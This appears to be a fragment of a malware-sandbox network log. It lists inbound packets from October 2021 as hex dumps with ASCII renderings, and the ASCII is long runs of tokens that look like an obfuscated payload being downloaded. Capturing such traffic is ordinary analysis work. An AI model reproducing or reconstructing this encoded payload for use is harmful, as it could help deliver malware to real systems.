2021-10-29 18:10:59 UTC	1686	IN	Data Raw: 20 59 6f 20 4b 51 20 6b 51 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 52 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 Data Ascii: Yo KQ kQ kE OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo OOt OxQ OOR KQ QY ER YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx Y
2021-10-29 18:10:59 UTC	1688	IN	Data Raw: 51 20 4f 78 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 6b 74 20 6f 51 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 6b 20 6f 45 52 20 59 4f 20 4f 4f 4b 20 4f 78 78 20 4f 6f 74 20 4f 74 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 74 20 51 4f 20 4f 4f 4b 20 4f 4f 6f 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 Data Ascii: Q Oxo Yx Kk Yx Ko kK OOK Oxx OOO OO Kk Kk Yx Yx kt oQ Oxo Oxk OOo Yo Yk oER YO OOK Oxx Oot OtQ OOo Yo oR Yx YK kY Qk OOt OxQ OOo Yx Kk Yx Yt QO OOK OOo Qk OOo Yx KQ KO R kR OOK QQ OxQ OOo Yx KK Yx YK RQ OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER YE
2021-10-29 18:10:59 UTC	1689	IN	Data Raw: 4f 4f 52 20 51 59 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 45 20 4f 6f 74 20 4f 4f 6f 20 52 6f 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 4b 6f 20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 6f 20 4f 78 59 20 59 4f 20 4b 6b 20 59 6f 20 45 45 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 4f 4f Data Ascii: OOR QY Oxk QR Yx Kk Yx YK kK OOK OxE Oot OOo Ro RE Yx YK kY OxY RQ OOx OOo Ko Kk Yx YK tQ OOK OOt OoK OOK tE Yx Yx YK kx OOE OOE o OxY YO Kk Yo EE QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOY OxO OxQ OOo Yx Kk Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER OO
2021-10-29 18:10:59 UTC	1690	IN	Data Raw: 4f 4f 20 51 6b 20 59 52 20 74 6b 20 59 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 52 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 6f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 51 59 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 51 4b 20 4f 6f 74 20 4f 4f 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 6f 52 20 4f 4f 52 20 6f 59 20 59 6b 20 4f 6b 20 4f 51 78 20 74 4f 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 45 51 20 6b 78 20 4f 4f 52 20 4f 6f 59 20 4f 6f 74 20 4f 4f 59 20 51 45 20 4f 6b 59 20 59 78 20 59 4b 20 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b 45 20 Data Ascii: OO Qk YR tk YY YK kK OOk OO OxR OOo Yx Yo oR ot kK OOK OOY RQ OQY YO Kk Yo EQ QK Oot OO OxO OOo Yx Yo oR OkQ kK OOK OOY OoR OOR oY Yk Ok OQx tO OOK OOt RQ oEQ Yx Kk YR EQ kx OOR OoY Oot OOY QE OkY Yx YK ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OKE
2021-10-29 18:10:59 UTC	1692	IN	Data Raw: 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 4f 4f 4b 20 4b 6b 20 4b 6b 20 59 6f 20 52 78 20 74 59 20 4f 6f 59 20 6f 4b 6b 20 51 51 20 4f 4f 6f 20 59 78 20 59 78 20 6f 45 20 45 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 45 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 45 74 20 45 52 20 6f 78 4b 20 4b 6b 20 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 78 51 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 52 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 Data Ascii: kk kK OOK OOY Ex OOK Kk Kk Yo Rx tY OoY oKk QQ OOo Yx Yx oE Eo RK OKx OOY YE OOo Yx YK RY OkE kK OOK OOY oxt kY Et ER oxK Kk OE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OxQ OoO OKo Yo OxR Yx YK ko O oKK OxQ OOo Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OOK
2021-10-29 18:10:59 UTC	1693	IN	Data Raw: 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6f 20 6f 78 52 20 59 6f 20 59 78 20 6b 52 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 6f 4f 45 20 59 78 20 4b 6b 20 59 52 20 45 78 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 6b 6b 20 45 59 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6f 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 6f 6f 20 4b 51 20 59 78 20 6b 4f 20 51 78 20 59 6b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 74 51 20 52 52 20 4f 4f 45 20 4f 78 51 20 59 74 20 59 4f 20 4b 6b 20 59 78 20 4b 4f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 45 20 4f 51 78 20 4b 51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 4f 78 59 20 59 Data Ascii: KY OOt OxQ OOk Yo oxR Yo Yx kR OOK OOY Ex oOE Yx Kk YR Ex Rk OOK OOt tx kk EY Kk Yx oQ OoK oYx OOt OxQ OOk oK oo KQ Yx kO Qx Yk OxQ OOo Yo oR Yx YK tQ RR OOE OxQ Yt YO Kk Yx KO kK OOK Oxx OxY E OQx KQ Yx Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY Y
2021-10-29 18:10:59 UTC	1694	IN	Data Raw: 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 4f 51 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 Data Ascii: OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQk Yx YK kK OOE OOt OxQ OOo RO Kk Yx YY kK OOK OOt OxQ OOo Yx Kk Yx OOQ kY OOK OOt KK OOE Yx Kk YO YK kK OOK kO OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt Y
2021-10-29 18:10:59 UTC	1696	IN	Data Raw: 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 51 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 4f 45 20 52 51 20 4f 59 78 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 6f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 45 45 20 78 20 52 6f 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 78 20 4b 6f 20 4f 4f 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 45 4f 20 6f 78 20 45 52 20 6f 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 6b 20 4f 45 6b 20 4b 6b 20 59 78 20 52 78 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 20 59 Data Ascii: Yx YK QK oQ OQK OxQ OOo YR oK OEQ YY kK OOR OOE RQ OYx Yx Kk Yo Ex oot OOY OOt Oxt Qx EE x Ro YK OQK OOK OOt OxQ OOo Yx Kk Yx Yx Ko OOt OOR OxQ OOR EO ox ER oEx Oo OOK OOt Oxk kk OEk Kk Yx Rx OEo OoR OOt OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER Y
2021-10-29 18:10:59 UTC	1697	IN	Data Raw: 59 51 20 6f 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 51 45 20 6f 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 4f 4f 6b 20 51 45 20 4f 78 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f 78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 59 20 4f 20 59 4b 20 52 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 4f 78 51 20 51 74 20 59 78 20 4b 4b 20 45 4f 20 59 4b 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 6b 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 52 20 51 78 20 4f 74 4f 20 4f Data Ascii: YQ ooR OOR OxQ OOk EY Yo QE oKx kK OOK Oot OOO OOk QE Ox Yx YK ko kt OxQ QK Oox Kk YO YK Ex Oo OOK OOt Oxt OxY O YK RY OYt kK OOK Oot oE Qx Yx Kk YO Ko kK OOK OOQ OxQ Qt Yx KK EO YK Qx OOK OOt OxQ OOo Kk Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO O
2021-10-29 18:10:59 UTC	1698	IN	Data Raw: 4f 6f 6f 20 59 6f 20 59 4f 20 51 45 20 6b 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 6f 59 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 4f 59 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 4b 20 59 6f 20 51 59 20 74 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 4b 6f 20 4b 51 20 6b 51 20 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 6f 78 20 59 78 20 4b 51 20 6b 51 20 59 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f 20 52 Data Ascii: Ooo Yo YO QE kO kY OOK OOY RQ OoY Yx Kk Yo kQ OYt OOK OOt OxE OOK Yo QY t YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK Ok OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK OKo KQ kQ t OOY OOt Oxt Qo ox Yx KQ kQ YY OOY OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O R
2021-10-29 18:10:59 UTC	1700	IN	Data Raw: 6b 20 59 78 20 4b 6b 20 59 51 20 74 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 78 20 59 78 20 45 74 20 4f 6b 74 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 52 74 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 59 45 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 6f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 52 20 6f 4b 20 4b 6b 20 59 78 20 59 4b 20 74 4f 20 52 52 20 4f 4f 6f 20 4f 78 51 20 4f 51 6f 20 59 4f 20 4b 6b 20 59 78 20 4f 51 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 6b 6b 20 4f 6b 4b 20 4b 6b 20 59 78 20 4b 6b 20 45 51 20 4f 4f 51 20 4f 4f 51 20 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 45 52 20 6f 78 4b 20 4b 6b 20 Data Ascii: k Yx Kk YQ tt OOt OxQ OOk ox Yx Et Okt Oot OOK OOt OOO kY ER Rt OYY YK kK OOR oOY RQ oYE Yx Kk Yo kQ oO OOK OOt Oxt kR oK Kk Yx YK tO RR OOo OxQ OQo YO Kk Yx OQ kK OOK Oxx OOO kk OkK Kk Yx Kk EQ OOQ OOQ OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK Kk
2021-10-29 18:10:59 UTC	1701	IN	Data Raw: 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 4b 6b 20 59 78 20 4b 6b 20 59 6f 20 4b 6b 20 45 51 20 6f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 59 52 20 59 4f 20 59 4b 20 6b 78 20 51 78 20 6f 4b 78 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4b 20 6f 78 4b 20 4b 6b 20 6b 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4f 59 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 51 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 52 20 45 45 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 6f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 4b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4b 74 20 4f 4f 6b 20 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 4f 78 Data Ascii: kK OOR oOY RQ oKk Yx Kk Yo Kk EQ oOK OOt OxQ Ooo tQ YR YO YK kx Qx oKx OxQ OOo Yo YK oxK Kk ko OOo OOt Oxt E OYO Kk Yx Rx OoK Qk OOt OxQ QO oR EE Yx YK Oot Qx oKE OxQ OOo Yo oK OkO YK kK OOR OOY OKt OOk YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx Ox
2021-10-29 18:10:59 UTC	1702	IN	Data Raw: 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 59 4b 20 59 78 20 4b 6b 20 59 78 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 59 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 74 20 4b 51 20 59 78 20 59 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 Data Ascii: OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQt Yx YK kK OOY OOt OxQ OOo oo Kk Yx YY kK OOK OOt OxQ OYK Yx Kk Yx RO kK OOK OOt OYY OOo Yx Kk KQ YK kK OOK Ooo OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo Kt KQ Yx YK tE OOY OOt OxQ OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo
2021-10-29 18:10:59 UTC	1704	IN	Data Raw: 4f 59 20 74 4f 20 6f 4b 52 20 59 4b 20 6f 4b 20 4f 45 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 4f 51 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 4f 20 59 4f 20 4b 6b 20 59 6f 20 59 78 20 4f 6f 4b 20 4f 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 4f 45 59 20 59 4f 20 59 4b 20 6b 6f 20 6b 6b 20 4f 78 6f 20 51 45 20 4f 6f 4b 20 59 78 20 4f 52 52 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 74 6b 20 59 52 20 59 59 20 6b 4b 20 4f 4f 6b 20 6b 6b 20 74 45 20 4f 78 6f 20 6f 6f 52 20 4f 78 4b 20 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f Data Ascii: OY tO oKR YK oK OEY YK kK Oox oR oOQ OOo Yx Yk QE OoQ kK OOK Oot RQ oxO YO Kk Yo Yx OoK OKk OOt OxQ OOk oR OEY YO YK ko kk Oxo QE OoK Yx ORR Yx YK kK OOK OOt OxQ OOo YK tk YR YY kK OOk kk tE Oxo ooR OxK Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OOo QE oOE O
2021-10-29 18:10:59 UTC	1705	IN	Data Raw: 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 78 20 51 78 20 4f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 52 6f 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 59 20 45 4f 20 6f 4b 4b 20 4b 6b 20 59 78 20 52 78 20 6b 78 20 51 78 20 6f 78 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 4b 20 51 45 20 52 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 6f 20 4b 52 20 6f 51 20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 6b 20 59 78 20 4b 6f 20 59 4b 20 4f 4f 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 45 Data Ascii: YO Kk Yo EQ kx Qx OKK OxQ OOo Yo QY ORo YY kK OOR Oxx OxY EO oKK Kk Yx Rx kx Qx oxO Oxk OOo Yo YK QE Rt kY OOK OOY tO OOo Yx KQ KR YK kK OOo OOt OoK OOo KR oQ Yx YR kK OOK OOt OxQ OOK Yx OOk Yx Ko YK OOK OoE OxQ OOo Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR oE
2021-10-29 18:10:59 UTC	1706	IN	Data Raw: 59 20 51 45 20 6b 59 20 59 4f 20 59 4b 20 6b 6f 20 6f 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 78 20 4f 51 4f 20 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 74 6f 20 4f 78 6f 20 52 59 20 4f 52 45 20 59 78 20 59 4b 20 6b 6f 20 6f 78 6b 20 6b 78 20 4f 6f 6f 20 4f 4f 6b 20 4f 4b 4b 20 6f 4b 20 4f 51 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 6f 52 20 4f 78 52 20 4f 4f 59 20 51 45 20 6b 51 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 6f 4b 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 6f 4b 6b 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 4b 51 20 59 51 20 6f 4b 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4f 52 52 20 4b 51 20 6b 51 20 59 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 4b 52 20 59 6f Data Ascii: Y QE kY YO YK ko oQ ooY OxQ OOo Yo Kx OQO oQ kK OOK OOQ to Oxo RY ORE Yx YK ko oxk kx Ooo OOk OKK oK OQO YK kK OOR OoR OxR OOY QE kQ YO YK ko Qx oKQ OxQ OOo Yo QY oKk YK kK Oox OOE RQ oxK YO Kk Yo KQ YQ oKE OOR OxQ OOk oK ORR KQ kQ YE OOY OOt Oxt Qo KR Yo
2021-10-29 18:10:59 UTC	1710	IN	Data Raw: 51 20 51 59 20 6f 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 4b 20 4f 78 45 20 45 45 20 59 4b 20 6f 59 20 52 45 20 74 78 20 4f 6f 6f 20 51 45 20 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 6f 45 6f 20 4f 45 6b 20 4f 6f 4b 20 4f 78 45 20 4f 78 4f 20 4f 4b 6f 20 45 52 20 59 52 20 59 78 20 59 4b 20 74 51 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 45 59 20 4b 6b 20 4f 4f 78 20 4f 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 45 20 59 59 20 52 51 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 52 20 45 45 20 59 52 20 6b 51 20 4f 45 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 45 20 45 6b 20 45 45 20 52 4f 20 52 52 20 51 74 20 4f 6f 4f 20 74 78 20 59 74 20 45 59 20 59 51 20 45 4f 20 4f 6f 45 Data Ascii: Q QY oE YK kK Oox kQ OxK OxE EE YK oY RE tx Ooo QE kk OOo Yx Yk EO oEo OEk OoK OxE OxO OKo ER YR Yx YK tQ oQ OoR OxQ OOo YR oER EY Kk OOx OtR OOt OxQ OOo Yx EE YY RQ Kk OOK OOt OxE QQ YR EE YR kQ OEY OOK OOt OxE QQ YE Ek EE RO RR Qt OoO tx Yt EY YQ EO OoE
